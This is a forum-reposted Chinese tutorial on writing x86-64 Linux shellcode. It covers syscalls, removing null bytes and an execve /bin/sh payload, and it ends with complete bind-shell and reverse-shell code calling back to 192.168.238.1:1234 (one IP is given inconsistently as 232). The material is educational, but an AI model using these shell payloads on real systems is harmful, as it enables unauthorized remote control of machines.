安全矩阵

 找回密码
 立即注册
搜索
查看: 951|回复: 0

Linux下Shellcode编写

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2022-1-3 19:11:16 | 显示全部楼层 |阅读模式
本帖最后由 Delina 于 2022-1-3 19:21 编辑

原文链接:Linux下Shellcode编写

Hello World
先看一个汇编通过系统调用写 Hello World 的例子
要输出一个 hello world,可以通过 write 函数来实现,通过下面的方法查找 write 函数的系统调用号,我用的 ubuntu 16.04 是这俩文件(找出来的是十进制的)
cat /usr/include/asm/unistd_32.h | grep write
cat /usr/include/asm/unistd_64.h | grep write

  1. #define __NR_write 1
  2. #define __NR_pwrite64 18
  3. #define __NR_writev 20
  4. #define __NR_pwritev 296
  5. #define __NR_process_vm_writev 311</code></pre></div>
复制代码


rax 是存放系统调用号的,这里就应该是 1
使用 man 2 write 可以找到 write 函数的参数
ssize_t write(int fd, const void *buf, size_t count);
第一个参数是三种输出模式
                        0
                        
                        1
                        
                        2
                        
                        stdin
                        
                        stdout
                        
                        stderr
                        
                        标准输入
                        
                        标准输出
                        
                        标准错误
                        
第二个参数是字符串的指针,第三个参数是输出的字数,而 64 位的程序,寄存器传参:rdi, rsi, rdx, rcx, r8, r9 剩下的才用栈,所以 rdi 应该是 1,rsi 应该是字符串的地址,rdx 应该是长度
  1. global _start
  2. section .text
  3. _start:
  4.    mov rax, 1               ;设置rax寄存器为write的系统调用号
  5.    mov rdi, 1               ;设置rdi为write的第一个参数
  6.    mov rsi, hello_world     ;设置rsi为write的第二个参数
  7.    mov rdx, length          ;设置rdx为write的第三个参数
  8.    syscall                  ;调用syscall
  9. section .data
  10.    hello_world: db 'hello world',0xa       ;字符串hello world以及换行
  11.    length: equ $-hello_world               ;获取字符串长度
复制代码


把代码保存为 hello-world.asm 然后汇编、链接,应该会这样显示:
  1. yichen@ubuntu:~[        DISCUZ_CODE_601        ]nbsp;nasm -felf64 hello-world.asm -o hello-world.o
  2. yichen@ubuntu:~[        DISCUZ_CODE_601        ]nbsp;ld hello-world.o -o hello-world
  3. yichen@ubuntu:~[        DISCUZ_CODE_601        ]nbsp;./hello-world
  4. hello world
复制代码

段错误 (核心已转储)
因为我们还没有让他正常退出,可以在后面 exit 的 syscall,让他正常退出即可
  1. mov rax,60
  2. mov rdi,0
  3. syscall
复制代码


使用 objdump 提取 shellcode,这一长串的魔法般的正则我就不解释了我也不会


  1. <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="44" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22yichen%40ubuntu%3A~%24%C2%A0objdump%C2%A0-M%C2%A0intel%C2%A0-D%C2%A0hello-world%C2%A0%7C%C2%A0grep%C2%A0'%5B0-9a-f%5D%3A'%C2%A0%7C%C2%A0grep%C2%A0-v%C2%A0'file'%C2%A0%7C%C2%A0cut%C2%A0-f2%C2%A0-d%3A%C2%A0%7C%C2%A0cut%C2%A0-f1-7%C2%A0-d'%C2%A0'%C2%A0%7C%C2%A0tr%C2%A0-s%C2%A0'%C2%A0'%C2%A0%7C%C2%A0tr%C2%A0'%5C%5Ct'%C2%A0'%C2%A0'%C2%A0%7C%C2%A0sed%C2%A0's%2F%C2%A0%24%2F%2Fg'%C2%A0%7C%C2%A0sed%C2%A0's%2F%C2%A0%2F%5C%5C%5C%5C%5C%5Cx%2Fg'%C2%A0%7C%C2%A0paste%C2%A0-d%C2%A0''%C2%A0-s%5Cn%5C%5Cxb8%5C%5Cx01%5C%5Cx00%5C%5Cx00%5C%5Cx00%5C%5Cxbf%5C%5Cx01%5C%5Cx00%5C%5Cx00%5C%5Cx00%5C%5Cx48%5C%5Cxbe%5C%5Cxd8%5C%5Cx00%5C%5Cx60%5C%5Cx00%5C%5Cx00%5C%5Cx00%5C%5Cx00%5C%5Cx00%5C%5Cxba%5C%5Cx0c%5C%5Cx00%5C%5Cx00%5C%5Cx00%5C%5Cx0f%5C%5Cx05%5C%5Cxb8%5C%5Cx3c%5C%5Cx00%5C%5Cx00%5C%5Cx00%5C%5Cxbf%5C%5Cx00%5C%5Cx00%5C%5Cx00%5C%5Cx00%5C%5Cx0f%5C%5Cx05%5C%5Cx68%5C%5Cx65%5C%5Cx6c%5C%5Cx6c%5C%5Cx6f%5C%5Cx20%5C%5Cx77%5C%5Cx6f%5C%5Cx72%5C%5Cx6c%5C%5Cx64%5C%5Cx0a%5Cn%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">yichen@ubuntu:~[        DISCUZ_CODE_603        ]nbsp;objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
  2. \xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a
  3. </code></pre>
  4. <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.9.7/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>



  5. <p></p>
复制代码

在 C 语言中使用 shellcode:
  1. #include<stdio.h>
  2. #include<string.h>
  3. unsigned char code[]="\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a";

  4. int main(){
  5. printf("shellcode length:%d\n",(int)strlen(code));
  6. int (*ret)()=(int(*)())code;
  7. ret();
  8. }
复制代码


编译的时候需要关掉栈不可执行,当你去执行的时候会发现出错了
  1. yichen@ubuntu:~[        DISCUZ_CODE_605        ]nbsp;gcc -z execstack -o test 1.c
  2. yichen@ubuntu:~[        DISCUZ_CODE_605        ]nbsp;./test
  3. shellcode length:2
  4. t
复制代码


因为 shellcode 中存在一些 \x00,我们称为:bad character,它会使字符串截断,就没有后面什么事情了,所以要想办法消除这些 bad character
                        bad character 列表
                        
                        00
                        
                        \0
                        
                        null
                        
                        0A
                        
                        \n
                        
                        回车换行
                        
                        FF
                        
                        \f
                        
                        换页
                        
                        0D
                        
                        \r
                        
                        回车
                        
消除bad character
来看一下这些 bad character 是怎么形成的
  1. yichen@ubuntu:~[        DISCUZ_CODE_606        ]nbsp;objdump -d -M intel hello-world
  2. hello-world:     文件格式 elf64-x86-64
  3. Disassembly of section .text:
  4. 00000000004000b0 <_start>:
  5.   4000b0: b8 01 00 00 00        mov    eax,0x1
  6.   4000b5: bf 01 00 00 00        mov    edi,0x1
  7.   4000ba: 48 be d8 00 60 00 00  movabs rsi,0x6000d8
  8.   4000c1: 00 00 00
  9.   4000c4: ba 0c 00 00 00        mov    edx,0xc
  10.   4000c9: 0f 05                 syscall
  11.   4000cb: b8 3c 00 00 00        mov    eax,0x3c
  12.   4000d0: bf 00 00 00 00        mov    edi,0x0
  13.   4000d5: 0f 05                 syscall
复制代码


针对这种的 mov eax,0x1,可以使用对寄存器的一部分赋值实现,比如:mov al,0x1
还可以通过 xor rax,rax 先把 rax 置为 0,然后 add rax,0x1 实现
看一下效果:5、6、7 行已经没有 bad character 了
  1. yichen@ubuntu:~[        DISCUZ_CODE_607        ]nbsp;objdump -d -M intel hello-world
  2. hello-world:     文件格式 elf64-x86-64
  3. Disassembly of section .text:
  4. 00000000004000b0 <_start>:
  5.   4000b0: b0 01                 mov    al,0x1
  6.   4000b2: 48 31 ff              xor    rdi,rdi
  7.   4000b5: 48 83 c7 01           add    rdi,0x1
  8.   4000b9: 48 be d8 00 60 00 00  movabs rsi,0x6000d8
  9.   4000c0: 00 00 00
  10.   4000c3: ba 0c 00 00 00        mov    edx,0xc
  11.   4000c8: 0f 05                 syscall
  12.   4000ca: b8 3c 00 00 00        mov    eax,0x3c
  13.   4000cf: bf 00 00 00 00        mov    edi,0x0
  14.   4000d4: 0f 05                 syscall
复制代码


还有就是地址的问题,下面有几种方法解决:
relative address technique
通过 rel 相对 RIP 偏移找到变量的位置,等到程序执行的时候会使用 rip 减去与 hello_world 的差值,从而获得 hello_world 在内存中的位置
  1. global _start
  2. section .text

  3. _start:
  4. jmp code
  5. hello_world:db 'hello world',0xa

  6. code:
  7. mov al,1
  8. xor rdi,rdi
  9. add rdi,1
  10. lea rsi,[rel hello_world]
  11. xor rdx,rdx
  12. add rdx,12
  13. syscall

  14. xor rax,rax
  15. add rax,60
  16. xor rdi,rdi
  17. syscall
复制代码


jmp-call technique
通过在字符串前面 call 把字符串的地址压栈,然后 pop 获取
  1. global _start
  2. section .text

  3. _start:
  4. jmp string          ;首先会跳转到 string

  5. code:
  6. pop rsi             ;此时可以把压在栈上的hello_world的地址获取到
  7. mov al,1
  8. xor rdi,rdi
  9. add rdi,1
  10. xor rdx,rdx
  11. add rdx,12
  12. syscall

  13. xor rax,rax
  14. add rax,60
  15. xor rdi,rdi
  16. syscall

  17. string:
  18. call code          ;call会把返回地址压栈,然后执行code的代码
  19. hello_world:db 'hello world',0xa
复制代码


stack technique
借助栈来存放,需要提前设置好字符串的十六进制逆序,用python的string[::-1].encode('hex')
  1. >>> string = "hello world\n"
  2. >>> string[::-1].encode('hex')
  3. '0a646c726f77206f6c6c6568'
复制代码


把需要的内容放在栈上,通过 rsp 来获得指向内容的指针
  1. global _start
  2. section .text

  3. _start:

  4. xor rax,rax
  5. add rax,1
  6. mov rdi,rax
  7. push 0x0a646c72
  8. mov rbx,0x6f77206f6c6c6568
  9. push rbx
  10. mov rsi,rsp        ;rsp就是栈顶的地址,也就是字符串在栈上的地址
  11. xor rdx,rdx
  12. add rdx,12
  13. syscall

  14. xor rax,rax
  15. add rax,60
  16. xor rdi,rdi
  17. syscall
复制代码


用execve写个shell
学会了这些基本的消除 bad character 的方法之后来写个真正的 shellcode 试试,
一个可以获得 shell 的 C 语言代码如下
  1. char *const argv[]={"/bin/sh",NULL};
  2. execve("/bin/sh",argv,NULL);
复制代码


想办法放到对应的寄存器就行,/bin/sh 参数用 python 生成逆序的十六进制,这里多加一个 / 用来占空,防止出现 0x00
  1. >>> string = "//bin/sh"
  2. >>> string[::-1].encode('hex')
  3. '68732f6e69622f2f'
复制代码


一开始往栈上压入一个 0x00,用来截断 /bin/sh,顺便把第三个参数 rdx 的 NULL 设置好
xor rax,rax
push rax
mov rdx,rsp
用 stack technique 把这个参数压到栈上,然后给 rsp 这样就设置好了第一个参数
mov rbx,0x68732f6e69622f2f
push rbx
mov rdi,rsp
第二个参数是一个指针,所以把 rdi 压栈,获取到指针
push rax        ;这里再次 push 的 rax 作为截断
push rdi
mov rsi,rsp
以及系统调用号是 59,最后加一个 syscall
add rax,59
syscall
把提取的 shellcode 放到之前的代码中编译~

​​
  1. yichen@ubuntu:~[        DISCUZ_CODE_614        ]nbsp;gcc -z execstack -o test 1.c
  2. yichen@ubuntu:~[        DISCUZ_CODE_614        ]nbsp;./test
  3. shellcode length:32
  4. [        DISCUZ_CODE_614        ]nbsp;whoami
  5. yichen
复制代码


TCP bind shell
靶机开启一个端口监听,等待我们去连接,这样的方式容易被防火墙阻断和记录,C 语言代码如下:
  1. #include <sys/socket.h>
  2. #include <sys/types.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <netinet/in.h>
  6. int main(void)
  7. {
  8. int clientfd, sockfd;
  9. int port = 1234;  //设置绑定的端口
  10. struct sockaddr_in mysockaddr;
  11. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  12. mysockaddr.sin_family = AF_INET;
  13. mysockaddr.sin_port = htons(port);
  14. mysockaddr.sin_addr.s_addr = INADDR_ANY;
  15. bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
  16. listen(sockfd, 1);
  17. clientfd = accept(sockfd, NULL, NULL);
  18. dup2(clientfd, 0);
  19. dup2(clientfd, 1);
  20. dup2(clientfd, 2);
  21. char * const argv[] = {"sh",NULL, NULL};
  22. execve("/bin/sh", argv, NULL);
  23. return 0;
  24. }
复制代码


接下来使用 syscall 依次实现这个程序,查找 socket 的系统调用号是 41
  1. xor rax,rax
  2. add rax,41
  3. xor rdi,rdi
  4. add rdi,2      ;AF_INET用2表示
  5. xor rsi,rsi
  6. inc rsi        ;SOCK_STREAM用1表示
  7. xor rdx,rdx    ;第三个参数为0
  8. syscall
复制代码


函数调用返回值保存在 RAX 寄存器,bind 函数用 sockfd 做参数,可以直接用mov rdi,rax
接下来填充 bind 函数的第二个参数 mysockaddr 结构体,因为后面 bind 调用的时候用的是指针,所以可以压到栈上去,然后拿到指针。应该怎么填充?可以使用 GDB 调试看一下 C 语言程序内存的值(gcc 加上 -g 参数可以直接 b 15 断在代码的第 15 行)
  1. Breakpoint 1, main () at 1.c:15
  2. 15  bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
  3. gdb-peda[        DISCUZ_CODE_617        ]nbsp;p &mysockaddr
  4. $1 = (struct sockaddr_in *) 0x7fffffffdd30
  5. gdb-peda[        DISCUZ_CODE_617        ]nbsp;p mysockaddr
  6. $2 = {
  7.   sin_family = 0x2,
  8.   sin_port = 0xd204,
  9.   sin_addr = {
  10.     s_addr = 0x0
  11.   },
  12.   sin_zero = "\000\000\000\000\000\000\000"
  13. }
  14. gdb-peda[        DISCUZ_CODE_617        ]nbsp;x/4gx 0x7fffffffdd30
  15. 0x7fffffffdd30: 0x00000000d2040002 0x0000000000000000
  16. 0x7fffffffdd40: 0x0000000000400850 0x0000000000400650
复制代码


可以看到显示的是:两个字节的 sin_family,两个字节的 sin_port,以及八个字节的 sin_addr.s_addr,又因为栈的增长方向是从高地址往低地址的,所以要倒着写
  1. xor rax, rax
  2. push rax             ;sin_addr.s_addr
  3. push word 0xd204     ;sin_port
  4. push word 0x02       ;sin_family
  5. mov rsi, rsp
复制代码


其中 sin_port 的值这样得出来:
  1. >>> import socket
  2. >>> hex(socket.htons(1234))
  3. '0xd204'
复制代码


构造完成 mysockaddr 结构体后,查找 bind 的调用号是 49,调用
  1. xor rdx, rdx
  2. add rdx, 16        ;bind的第三个参数
  3. xor rax, rax
  4. add rax, 49
  5. syscall
复制代码


然后是 listen 函数,因为第一个参数还是 rdi 的 sockfd 所以省去一步
  1. xor rax, rax
  2. add rax, 50
  3. xor rsi , rsi
  4. inc rsi
  5. syscall
复制代码


accept 函数
  1. xor rax , rax
  2. add rax, 43
  3. xor rsi, rsi
  4. xor rdx, rdx
  5. syscall
复制代码


accept 函数的返回值在 rax,直接给 dup2  函数用
  1. mov rdi, rax
  2. xor rax,rax
  3. add rax, 33
  4. xor rsi, rsi
  5. syscall
  6. xor rax,rax
  7. add rax, 33
  8. inc rsi
  9. syscall
  10. xor rax,rax
  11. add rax, 33
  12. inc rsi
  13. syscall
复制代码


execve函数直接用上面的就可以了
  1. xor rax, rax
  2. push rax
  3. mov rdx, rsp
  4. mov rbx, 0x68732f6e69622f2f
  5. push rbx
  6. mov rdi, rsp
  7. push rax
  8. push rdi
  9. mov rsi,rsp
  10. add rax, 59
  11. syscall
复制代码


提取出 shellcode 后放到上面的模板上,编译好运行,通过 netstat -ntlp 可以看到 1234 端口开放,然后 nc 127.0.0.1 1234 就可以获得 shell 了
Reverse TCP shell
这种方法是我们首先在自己的机器上监听一个端口,然后让靶机访问我们,这样不会被防火墙拦截。先看看 C 语言的代码
  1. #include <sys/socket.h>
  2. #include <sys/types.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <netinet/in.h>
  6. #include <arpa/inet.h>
  7. int main(void)
  8. {
  9. int sockfd;
  10. int port = 1234;
  11. struct sockaddr_in mysockaddr;
  12. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  13. mysockaddr.sin_family = AF_INET;
  14. mysockaddr.sin_port = htons(port);
  15. mysockaddr.sin_addr.s_addr = inet_addr("192.168.238.1");
  16. connect(sockfd, (struct sockaddr *) &mysockaddr,sizeof(mysockaddr));
  17. dup2(sockfd, 0);
  18. dup2(sockfd, 1);
  19. dup2(sockfd, 2);
  20. char * const argv[] = {"/bin/sh", NULL};
  21. execve("/bin/sh", argv, NULL);
  22. return 0;
  23. }
复制代码


基本差不多,socket 函数
  1. xor rax, rax
  2. add rax, 41
  3. xor rdi, rdi
  4. add rdi, 2      ;AF_INET用2表示
  5. xor rsi, rsi
  6. inc rsi        ;SOCK_STREAM用1表示
  7. xor rdx, rdx    ;第三个参数为0
  8. syscall
复制代码


填充 mysockaddr 结构体,IP 地址的十六进制形式这样获得,也就是 0x01e8a8c0

  1. <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="54" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22%3E%3E%3E%C2%A0import%C2%A0socket%5Cn%3E%3E%3E%C2%A0socket.inet_aton('192.168.232.1')%5B%3A%3A-1%5D%5Cn'%5C%5Cx01%5C%5Cxe8%5C%5Cxa8%5C%5Cxc0'%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">>>> import socket
  2. >>> socket.inet_aton('192.168.232.1')[::-1]
  3. '\x01\xe8\xa8\xc0'</code></pre>
  4. <span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.9.7/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>

  5. <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="53" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false">
  6. <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22mov%C2%A0rdi%2C%C2%A0rax%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%3Bsockfd%5Cnxor%C2%A0rax%2C%C2%A0rax%5Cnpush%C2%A0dword%C2%A00x01e8a8c0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%3Bsin_addr.s_addr%5Cnpush%C2%A0word%C2%A00xd204%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%3Bsin_port%5Cnpush%C2%A0word%C2%A00x02%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%3Bsin_family%5Cnmov%C2%A0rsi%2C%C2%A0rsp%5Cnxor%C2%A0rdx%2C%C2%A0rdx%5Cnadd%C2%A0rdx%2C%C2%A016%5Cnxor%C2%A0rax%2C%C2%A0rax%5Cnadd%C2%A0rax%2C%C2%A042%5Cnsyscall%5Cn%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">mov rdi, rax                ;sockfd
  7. xor rax, rax
  8. push dword 0x01e8a8c0      ;sin_addr.s_addr
  9. push word 0xd204           ;sin_port
  10. push word 0x02             ;sin_family
  11. mov rsi, rsp
  12. xor rdx, rdx
  13. add rdx, 16
  14. xor rax, rax
  15. add rax, 42
  16. syscall</code></pre></div>
复制代码


三个 dup2
  1. xor rax, rax
  2. add rax, 33
  3. xor rsi, rsi
  4. syscall
  5. xor rax, rax
  6. add rax, 33
  7. inc rsi
  8. syscall
  9. xor rax, rax
  10. add rax, 33
  11. inc rsi
  12. syscall
复制代码


execve
  1. xor rax, rax
  2. push rax
  3. mov rdx, rsp
  4. mov rbx, 0x68732f6e69622f2f
  5. push rbx
  6. mov rdi, rsp
  7. push rax
  8. push rdi
  9. mov rsi,rsp
  10. add rax, 59
  11. syscall
复制代码



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 11:42 , Processed in 0.014132 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表